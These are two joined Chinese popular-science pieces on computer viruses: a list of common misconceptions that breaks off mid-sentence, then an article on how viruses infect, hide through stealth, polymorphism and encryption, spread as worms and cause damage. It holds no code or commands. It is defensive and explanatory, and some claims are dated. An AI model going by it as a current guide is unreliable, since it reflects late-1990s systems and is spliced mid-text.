某些人认为通过DOS的外部命令ATTRIB,将文件设置为只读会十分有效地抵御病毒。 其实修改一个文件的属性只需要调用几个DOS中断就可以了,因此说ATTRIB命令对于阻止病毒的感染及传播几乎无能为力。
 
3、病毒能感染写保护的磁盘(错)
 
由于病毒可感染只读文件,不少人由此认为病毒也能修改在写保护磁盘上的文件。事实上,磁盘驱动器可以判断磁盘是否写保护,是否应该对其进行写操作,这一切都是由硬件来控制的,您可以物理地解除PC的写保护传感器,却不能用软件来做这件事。
如果您的软驱是正常的,而软盘的写保护一次也没有取下来,绝对不会感染病毒。但是如果您取下来了,并且用带毒的机器DIR过,则完全有可能感染病毒。注意这个DIR是从机器向软盘感染病毒,而不是把病毒从软盘传染到机器。
 
写保护和文件只读方式不同,设置文件只读方式是通过计算机,所以病毒能插上一手,可是写保护非要人手参与不可,病毒可没办法把写保护弄掉。计算机不能对写保护磁盘进行改写,这是任何操作都无法改变的(除非您把驱动器弄坏)。
 
4、反病毒软件能够杀除所有已知病毒(错)
 
病毒感染方式很多,有些病毒会强行覆盖执行程序的某一部分,将自身代码嵌入其中,以达到不改变被感染文件长度的目的,被这样的病毒覆盖掉的代码无法复原,因此这种病毒是无法安全杀除的。 病毒破坏了文件的某些内容, 在杀除这种病毒后是不能恢复文件的原貌的。
 
 5、使用杀毒软件可以免受病毒的侵扰(错)
 
目前市场上出售的杀毒软件,都只能在病毒泛滥之后才“一展身手”。但在杀毒之前病毒已经造成了工作的延误、数据的破坏或其他更为严重的后果。所以,应该选择一套完善的反毒系统,它不仅应包括常见的查、杀病毒功能,还应该同时包括有实时防毒功能,能实时地监测、跟踪对文件的各种操作,一旦发现病毒,立即报警,只有这样才能最大程度地减少被病毒感染的机会。

 6、磁盘文件损坏多为病毒所为(错)
 
文件的损坏有多种原因,电源电压波动、掉电、磁化、磁盘质量低劣、硬件错误、其他软件中的错误、灰尘、烟灰、茶水,甚至一个喷嚏都可能导致数据丢失。以上所举对文件造成的损坏,会比病毒造成的损失更常见,更严重。
 
7、如果做备份的时候,备份了病霉,那么这些备份是无用的(错)
 
有两种情况:①软盘备份:备份中含有引导型病毒。这种情况下,只要不用这张软盘试图启动您的计算机,它将和无毒备份一样安全。②磁带备份:备份中的数据文件中不会有病毒,如果其中的可执行文件中含有病毒,那么执行文件就白备份了,但是备份中的数据文件还是可用的。
 
8、反病毒软件可以随时随地防范任何病霉(错)
 
很显然,这种反病毒软件是不存在的。新病毒不断出现,要求反病毒软件必须快速升级。对抗病毒,我们需要的是一种安全策略和一个完善的反病毒系统,用备份作为防病毒的第一道防线,将反病毒软件作为第二道防线。 同时,软件的及时升级是加固第二道防线的唯一方法。使用反病毒软件是为了辅助防毒,它不可能是刀枪不入的保镖。
 
9、正版软件不会带病毒,可以安全使用(错)
 
计算机用户常被告知,“为了防范病毒的侵害,不要使用来历不明的软件”。这话不错,所谓“来历不明的软件”确实是计算机病毒传播主要途径之一。那么使用有“来历”的软件是否就可以高枕无忧呢?非也!实际上计算机报刊媒体已经多次报导过“正版软件”。“商品软件”带病毒问题。使用商品软件也不可掉以轻心,甚至新购买的计算机包括
 
原装计算机在使用前都须进行病毒检测。如确实由于原版软件带有病毒而造成重大的损失,应寻求法律保护。
不用软盘,不会感染病毒,因而无需选择杀毒软件
 
“不用软盘,就不会感染病毒”是常在初级用户中听到的一种言论,它和“使用软盘,就会感染病毒”是一对孪生姊妹,是两种相同类型的错误论调。
 
病毒的传染是通过带病毒软件进行的,但软盘并不是“带病毒软件”的唯一载体。可以说,凡是可以得到程序(软件)的地方,都可能“得到”病毒。也就是说,使用光盘、硬盘、磁带,或者通过局域/广域网络、Internet、BBS(电子公告板)使用或下载软件,都潜在感染病毒的危险。尤其是近年来 Internet和BBS的广泛使用,使得国内外病毒大面积、高速度的流行传播成为可能。这些具有国际性的计算机信息传播媒体,是潜在的病毒毒源和导管(当然,这些网络体系中也具有安全性较高的防/杀病毒系统),使每一个计算机用户都受到染毒的威胁。 —恐怕没有人会说他的计算机永远不会连上Internet。
 
人不可能不生病,所以计算机绝不可能不感染病毒,所以您必须选择杀毒软件。
 
人不可能都是医生,所以您没有必要独自去面对病毒,所以您必须选择杀毒软件。
 
 10、“能杀毒的就行”和“有一个杀毒软件就够了”(错)
 
“能杀毒的就行”和“有一个杀毒软件就够了”,这是一部分人在选择杀毒软件时的想法。一种常见的情况是,当您的计算机不正常时,找来一大堆杀毒软件,不管是正版还是盗版,能查能杀病毒就是好样的。其实很多计算机的故障并不是病毒导致,这样,很多的杀毒软件都“无效”;另一种更常见的情况是用户一般并不注意“查毒”与“杀毒”的区别,使用某种杀毒软件时,首选“杀毒”操作。于是,当它用这种杀毒软件将系统“杀毒”了一次以后,用其他杀毒软件,就再也找不到病毒了,那就认定这个软件是最好的。
 
目前还没有一个杀毒软件能囊括所有病毒而杀之,这是谁也做不到的。由于各种病毒标本的来源不同,再加上程序编制者的实力有别,总存在一种软件能查杀的病毒,别的软件却不能查杀。或者由于一些程序BUG(程序错误),使某些软件本来可以查杀的病毒,在它的一些版本中却不能查杀或误查误杀了。所以一般不建议用户革一的选择一种杀毒软件。
 
在选择杀毒软件时,请首先抛开您所有关于“好”与“不好”的成见,也拒绝广告词上的种种诱惑,认真地去了解一下杀病毒软件厂商在技术实力、服务质量、软件性能等方面的东西。特别应该了解软件厂商在升级、退货、损坏更换等方面的措施和承诺的可信度。同时,您应该请厂商直接阐述一下他们在广告中的各种术语的具体含义,要知道,这是您作为消费者的合法权益。
 
现在的反病毒软件市场就像“战国时代”,各家都说各家好。但消费者感到不放心,到底用谁的软件好?只用一个好还是用几个好?世上没有“万灵丹”,一个软件再好,也不是所有的病毒都能杀,不能“包治百病”。各软件厂家获取病毒样本的时间不同,因此,在每一个时间段,各软件厂家都是各有侧重,只有一个不保险。除了“万能的主”之外,这个世界上恐怕再也找不到万能的东西了。为防止“重复建设”,专家认为,选购两个优势互补的反病毒软件即可,这是提高“安全系数”的最佳方法。千万别把好几个反病毒软件都在同一台计算机上安装,大多了没必要,而且有可能出现相互之间抢占资源、判断失误、死机等问题。
 
11、发现CMOS中有病毒(错)
 
CMOS是微机中的一种特殊存储器,记录了微机的硬件设置参数及系统日期时间。开机密码等重要数据。由于CMOS设置十分重要,所以可能成为计算机病毒破坏攻击的目标。目前确实已发现了改写CMOS的“CMOS设置破坏者”病毒,但在CMOS中并不存在病毒。
有时,机器发生问题,问题出在CMOS设置上,有人认为,这是躲藏在CMOS里面的病毒!因而误认为杀毒软件不行,采取对CMOS存储器又是放电、又是短路的措施,重新设置CMOS参数后,机器恢复了正常,从此确信CMOS中有病毒。这种行为及其危险,很容易将主板搞坏。我们说“CMOS设置破坏者病毒,不等于CMOS中有病毒!病毒不能将自身自动传染到CMOS里面而存留和被激活!”,“病毒可以将CMOS设置改变或加密,但用户也可以重新设置和恢复。”
 
某些情况下,如CMOS电源不足、外界电源冲击性波动、软件崩溃、硬件不稳定、操作上的失误、病毒改写等都会导致CMOS 设置紊乱,也可以说,是紊乱性加密,因而,造成机器不能引导或不能正常工作。这时,一般情况下可以重新对CMOS设置和用专用软件来清理紊乱性密码,然后再设置正确参数。
 
CMOS中不会有病毒寄生,因为:
 
(1)CMOS是通过I/O读写与CPU交换数据的, CPU的物理机能决定了只能读写CMOS的数据,不能把CMOS中的数据当作指令代码来执行。而病毒想要工作的话就一定要执行其程序码,但CMOS只是用来存放数据的,在CMOS中的数据不是可执行的,所以并没有CMO5病毒,只有会破坏CMOS数据的病毒。
 
(2)如果把一段病毒程序写入CMOS,则必然破坏微机的硬件设置以至于微机根本不能运行,存储在CMOS中的“病毒程序”将毫无作用,病毒不能在CMOS中蔓延或藏身于其中。
 
(3)CMOS的有效存储容量只有128个字节,不足以容纳病毒。可见CMOS不具备病毒寄生和被激活的条件,不可能有病毒存在。
 
12、发现Cache中有病毒
 
与CMOS中没有病毒一样,Cache中也是根本不可能存在病毒的。
我们知道,程序执行时,数据流是这样被传送的:
 
外存(软/硬盘) 

PC病毒原理:感染-潜伏-繁殖-发作

    听到“计算机病毒”时,也许不少人会漠然地说:不就是一些侵入个人电脑中干坏事的程序嘛!
  最近像“蠕虫”和“特洛伊木马”之类的病毒术语几乎都成了普通电脑用户的口头禅了。下面就让我们从这些术语的含义开始了解一下计算机病毒。
“计算机病毒”的起源
  “计算机病毒”这种说法起源于美国弗雷德里克·B·科恩(Frederick B.Cohen)博士于1984年9月在美国计算机安全学会上发表的一篇论文(当时他还是美国加利弗尼亚大学研究生院的一名学生)。在这篇论文中,科恩首次把“为了把自身的拷贝传播给其他程序而修改并感染目标程序的程序”定义为“计算机病毒”。这就是计算机病毒的原始含义。
  在电视和杂志等报道中,绝大多数则把所有的非法程序统称为病毒。但是,计算机病毒专家至今仍尊重科恩博士当时的定义。因此笔者在本文将把寄生于其他程序中的程序称为病毒,而把人们一般所说的病毒称为“非法程序”。本文将对狭义上所讲的病毒以及非法程序的整个运行机制进行详细探讨。
自我繁殖的蠕虫

   按照非法程序的行动来划分,大体上可以分为病毒、蠕虫和特洛伊木马这三大类。
  蠕虫是指具有通过网络进行自我繁殖功能的程序。比如,随意利用邮件软件等应用程序向其他个人电脑发送含有自身拷贝的电子邮件。其代表是1999年年初首次出现、并在日本造成了巨大损失的“幸福99(Happy99)”蠕虫。
  最近有人说“病毒危害急剧增加的原因在于电子邮件的普及”,这句话只讲对了一半。从严格意义来讲应该说“其原因在于电子邮件的普及以及通过邮件繁殖的蠕虫的增加”。
伪装成正规软件的特洛伊木马
  特洛伊木马是指伪装成游戏和应用程序等正规程序的非法程序。其性质与狭义上所讲的病毒存在本质区别。特洛伊木马是单独运行的非法程序,不像病毒那样感染其他程序。
  另外,有的非法程序具有上述三类中的两类以上的性质。比如“兼具蠕虫功能的病毒”等。
病毒形态可分为4个阶段。不过,根据不同的病毒,有的可能不存在某个阶段,或者多个阶段同时并进
病毒形态可分为4个阶段
  下面笔者即将开始向大家说明病毒(非法程序)的本来面目。在此之前,首先向大家介绍一下非法程序的运行机理。
  典型的病毒运行机制可以分为(1)感染、(2)潜伏、(3)繁殖和(4)发作4个阶段。
(1)感染是指病毒自我复制并传播给其他程序;
(2)潜伏是指病毒等非法程序为了逃避用户和防病毒软件的监视而隐藏自身行踪的行为;
(3)繁殖是非法程序不断地由一部计算机向其他计算机进行传播的状态;
(4)发作是非法程序所实施的各种恶意行动。

    第一阶段:感染
结果是寄生到其他程序中
  在详细说明感染机理前,首先看一下感染途径。因为如果不了解病毒是如何进入到个人电脑的,就无法往下进行。
9成以上是通过电子邮件感染的
  病毒主要通过(1)电子邮件、(2)外部介质、(3)下载这3种途径入侵个人电脑。
  (1)电子邮件,是指把蠕虫和特洛伊木马本身以及受病毒感染的文件作为电子邮件附件等发送出去。有的是普通用户在不知道附件已经感染病毒的情况下发送了病毒邮件,有的是蠕虫本身自动地向外界发送邮件。而特洛伊木马则是由图谋不轨的第三者(即黑客)发送的。
  而且受病毒感染的不仅仅限于附件。比如,Windows附带的Outlook Express等常用电子邮件软件,大多都会利用Web浏览器的功能,解释并显示邮件正文中所描述的HTML代码。而病毒脚本往往就隐藏在HTML邮件当中。
  (2)外部介质,是指用户从别人那里借来带有病毒的软盘和光盘等介质后,病毒就会由这些介质入侵到自己的电脑中。尽管很多情况是由于从别人那里借来的软盘等介质中带有病毒而被感染,但也不完全如此,过去就曾发生过多起市售软件中含有病毒的情况。
  另外,通过外部介质的感染并不仅限于通过软盘和硬盘上的文件进行感染。有些病毒会隐藏在软盘和硬盘的起动区域中,这种情况稍后会作详细介绍。如果利用这种带病毒的外部介质起动个人电脑,就会受到病毒感染。
  (3)下载,是指用户从Web站点和FTP服务器中下载感染了特洛伊木马和病毒的文件。公司内部LAN上的文件服务器和不同电脑之间的文件共享都有可能成为感染病毒的原因。
  另外,在第三种感染途径中还存在极少数特殊情况。比如,99年曾在业界引起轩然大波的“Worm.ExploreZip”病毒,只要LAN上的其他个人电脑把起动系统的分区设置为完全共享,该病毒就会随意地发送自身的拷贝并实施感染。也就是说,即便电脑用户不进行下载,电脑也会自动下载并运行病毒。
  在这三种感染途径中,所占比例最大的是电子邮件。据受理日本国内病毒相关损失情况报告的日本信息处理振兴事业协会(IPA)表示,最近9成以上都是通过电子邮件感染的。就在数年前绝大多数还都是通过外部介质感染,由此可以看出电子邮件的普及对病毒感染造成了多么大的影响。也就是说病毒和电子邮件之间存在一种息息相关的关系。
感染目标有3个
  不过,即便病毒通过上述三种途径进入了个人电脑,也不会直接产生什么问题。只有在用户无意中打开了电子邮件附件、执行了病毒程序那一刻起才会引发感染。这一点非常重要,请读者务必谨记。
  用户一旦不慎起动病毒,感染即随之开始。根据病毒感染的不同目标,大体上可以把病毒分为如下3种:
  ·引导区感染型:
    感染硬盘和软件中保存起动程序的区域
  ·可执行文件感染型:
    感染扩展名为.com和.exe等程序(可执行文件)
  ·脚本感染型:
    感染微软Office产品(Word等)的文档文件和HTML文件等
 
下面依次对这3种病毒加以介绍。
 
在个人电脑起动时同时开始运行
  首先来看一下引导区感染型病毒(图4)。此类病毒感染软盘和硬盘的引导扇区(起动区域)。
  引导扇区是指在个人电脑起动的初始状态下被访问的特殊区域,该区域保存了起动电脑所需的小程序。在硬盘中称为主引导记录(MBR)。引导区感染型病毒就感染这些小程序。病毒感染引导扇区后,在操作系统起动之前病毒就会被读入内存,并由CPU执行。在这种状态下只要在电脑中插入其他软盘等外部介质,就会一个不落地感染所使用的软盘。
   随意更改可执行文件
  接下来谈谈可执行文件感染型病毒。顾名思义,可执行文件感染型病毒只感染文件扩展名为.com和.exe等的可执行文件。下面以Windows程序为倒,介绍一下可执行文件感染型病毒的感染机理。
  感染机理其实非常简单。用户无意间运行了病毒程序后,病毒就开始查找保存在个人电脑中的其他程序文件,并实施感染。如果是可感染文件,病毒就会随意地更改此文件,并把自身的病毒代码复制到程序中。更改文件的方法包括(A)覆盖感染型、(B)追加感染型、(C)插空感染型三种方式。
用病毒代码进行更改
  对于Windows程序文件,基本上来讲描述整个文件尺寸和程序代码起始位置等信息的文件头位于文件的起始部位,在其之后为程序代码。
  覆盖感染型病毒是指用自身的病毒代码覆盖文件的程序代码部分。由于只是单纯利用病毒代码进行覆盖,因此感染机理最为简单。
  不过,感染这种病毒后,程序文件就被破坏,无法正常工作。也就是说用户受感染后,原来的程序将不能运行,而只能起动病毒程序。结果,即便用户不能马上明白是不是病毒,也会立刻注意到发生了异常情况。
感染后原程序仍然工作
  比覆盖感染型更巧妙一些的是追加感染型病毒。
  此类病毒并不更改感染对象的程序代码,而是把病毒代码添加到程序文件最后。另外,追加感染型病毒还会更改原程序文件的文件头部分。
  具体来说就是把文件头中原来记述的“执行开始地址为XXX(原程序的开头)”等信息更改变成“执行开始地址为ZZZ(病毒程序的开头)”。这样一来,在原程序运行之前,病毒代码就会首先被执行。
  另外,在病毒代码的最后会描述一段代码,以便重新回到执行原程序的开始地址。这样一来,受感染程序在执行了病毒代码之后,就会接着执行原程序。
  结果,由于原程序会正常运行,用户很难察觉到已经感染了病毒。不过,程序受到追加感染型病毒的感染后,其文件尺寸会变得比原文件大。
  最后来看一下插空感染型病毒。这种病毒可以说是由追加感染型病毒发展而来的。事实上,它并不是在程序文件中查找合适的部位,然后把程序代码等信息添加到文件中,而是查找没有实际意义的数据所在的位置。插空感染型病毒找到这些部分以后,就把自身的代码覆盖到这些部分中。结果,尽管原程序照常运行,且文件尺寸也没有任何变化,但是仍能产生感染病毒的文件。
  不过,此类病毒进行感染的前提条件是感染对象文件必须具有足够的空间。所以,它无法感染没有足够空间的程序文件。
感染数据的宏病毒
   病毒不仅感染可执行文件,还可感染数据文件。这就是宏病毒等“脚本型病毒”。脚本型病毒的感染机理如下。
  用户打开带有病毒的数据文件后,该数据文件相关联的应用程序就会执行数据文件中描述的脚本。由此就会起动病毒,然后把自身的脚本添加(或覆盖)到其他数据文件中,进行感染。
   由于这种脚本型病毒并不感染可执行文件,而感染数据文件,因此也许会让人感觉与可执行文件感染型病毒区别很大。但实际上并没有太大的区别。虽说感染的是数据文件,但该数据文件最终还是含有可由某些特定应用程序来执行的程序代码的文件。最关键的是,在病毒运行过程中总体上是作为程序来运行的,因此在这个意义上来讲,与可执行文件感染型病毒在本质并没有任何区别。
  “宏病毒感染标准模板”就是一个能真实反映这种病毒特点的例子。比如感染Word文档的宏病毒,不仅感染用户生成的数据文件,有时还会感染Word起动时最先调用的标准模板这一特别文件。结果,每当Word应用程序起动时,就会运行宏病毒,每当打开和保存Word文档文件时,就会不断感染其他文档文件。也就是说,就好象病毒感染了Word应用程序本身一样。
 
    第二阶段:潜伏—-实施掩盖和伪装
  在第二阶段即潜伏过程中需要了解的内容是,病毒是如何为躲避用户和防病毒软件的侦察而进行隐藏的。通过与防病毒软件之间不断地“斗智斗勇”,有的病毒已经逐渐具备了非常高级的隐身法。最具代表性的潜伏方法是隐蔽和自我变异。
尺寸上作假,逃避监视
  隐蔽法是指为病毒为了已经隐藏文件已感染病毒的事实,向用户和防病毒软件提供虚假文件尺寸。比如,用户运行受病毒感染的文件后,病毒不仅会感染其他文件,还常驻内存并开始监视用户操作。如果用户运行文件列表显示等命令查看文件尺寸时,病毒就会代替操作系统提供虚假信息。
如果在第一阶段中介绍的追加感染型病毒采用这种方法,用户就很难察觉已经受到病毒感染。也就是说以文件尺寸的变化为线索分析感染情况会变得相当困难。
通过伪装躲避追踪
  另一个潜伏方法即自我变异是指病毒通过实际改变自身的形态,来主要逃避防病毒软件的检测。尽管在第二部分已经进行了详细说明,笔者在这里再解释一遍,防病毒软件为了检测病毒,首先会提取病毒特征代码,然后通过比较文件和病毒特征代码来查找病毒感染情况。
  也就是说这种方法是指病毒通过采取某些措施,由于在每次感染时都会改变自身形态(病毒特征代码),因此即便与防病毒软件掌握的特征代码相对照,也不会被发现。另外,也有人把此类病毒称为变形病毒。
  还有一种比自我变异更高级的方法即“加密法”,指每次感染时先对自身进行加密,然后把还原程序及加密密钥嵌入到感染的对象文件中。如果此类病毒准备了大量的加密密钥,那么由于每次感染时就会变成不同的数据,因此防病毒软件就很难发现。
  为了防止被破解,加密过程越复杂、加密时就越要花费更多的时间。也就是说,加密法越复杂,不仅越容易被用户察觉,而且病毒自身的感染速度也变得越慢。不过最近的个人电脑性能已经很高,进行这种处理根本不算是什么负担。
 
    第三阶段:繁殖—-通过网络传播
  就像在感染阶段那部分所提到的那样,最近病毒主要通过电子邮件入侵个人电脑。将电子邮件用作传播媒介的就是蠕虫。
  实际上,最近发生的大规模病毒感染事件基本上都与蠕虫分不开。为了了解这些事件的真相,下面首先说明一下蠕虫繁殖的机理。
随意假借邮件软件实施传播
  首先以最具代表性的Windows蠕虫为例,说明一下蠕虫繁殖的过程(图8(点击放大))。比如99年春出现的、仅在数日内就有数万台甚至数十万部个人电脑被感染的梅莉莎蠕虫(也称为W97M.、Melissa.A)。
  梅莉莎蠕虫属于感染Word文档文件的宏病毒,会作为电子邮件附件发送给用户。用户一旦打开(运行)该附件,在感染Word的同时,也开始作为蠕虫进行繁殖。
  具体来说,该蠕虫会随意使用Word宏功能,起动电子邮件软件Outlook,然后把包括自身拷贝的Word文档文件添加到电子邮件中,并发送给Outlook地址薄中登记的前50个邮件地址。
  也就是说,即便用户并没有与别人交换软盘之类的存储媒介,该蠕虫也会为所欲为地把自身拷贝发送给其他用户并进行繁殖。
完全自动的UNIX蠕虫
  最近出现的蠕虫基本上都像梅莉莎蠕虫一样通过电子邮件软件进行繁殖。但还有其他类型的蠕虫。这就是主要在UNIX系统中繁殖的蠕虫,此类蠕虫曾经是蠕虫的主流品种。
  为数众多的UNIX蠕虫的最大特点是:完全自动地通过网络进行繁殖。像梅莉莎这样的使用电子邮件进行繁殖的蠕虫虽然能够向其他电脑发送自身拷贝,但此后就只能等着电脑用户去运行附件了。而UNIX蠕虫则不需用户进行任何操作即可进行繁殖。
  之所以能如此,是因为UNIX机器基本上都是作为服务器来使用。也就是说由于运行了服务器软件,因此利用服务器软件的安全漏洞,由外部发送并运行蠕虫。
  我们来具体地看一下其繁殖过程。UNIX蠕虫首先在合适的IP地址范围内,查找正在运行具有某种特定安全漏洞的服务器软件的UNIX机器。然后一旦找到符合条件的服务器,就会利用服务器软件的安全漏洞由外部执行命令,向服务器内部发送自身拷贝。紧接着再运行所发送的蠕虫。
 
    第四阶段:发作—-没有病毒不能做的事情
  最后一个阶段是发作。对于发作,笔者最想强调的是“病毒在个人电脑中什么事都可以干得出来”。病毒既然是在个人电脑上运行的程序,就绝不存在“因为是病毒,所以可以干这个”和“蠕虫干不了这个”的说法。
破坏程度因人而异
  下面就具体说明病毒发作后会产生什么情况,以及根据用户遭受的损失来介绍一下其典型症状。
  如果把破坏程度分为3个等级,那么破坏程度最大的大概就算是“格式化硬盘”和“删除文件”等直接破坏行为了。尤其是“破坏电脑BIOS”的发作症状,由于电脑将不能起动,用户自行进行修复根本无从谈起,在经济上的损失非常大。
  除这种直接破坏行为以外,“改写文件”、“大量发送邮件”、“显示信息”和“占用内存”等症状会因病毒不同而千差万别。也有不发作的病毒。
  什么样的症状对应何种程度的危险,上述所说的只是一般的标准。
  对于病毒的发作,还有另一个容易让人误解的地方。这就是指,“包括宏病毒在内的脚本病毒,由于它只在相应的应用程序等封闭的环境中运行,因此即使发作也不会产生影响到整个电脑的巨大损失”。
  其实这是大错特错的。微软Offic产品的宏语言等被病毒视为攻击对象的脚本语言大都能够超越应用程序的范围而进行操作。比如,删除系统文件也只需利用数行代码即可轻松完成。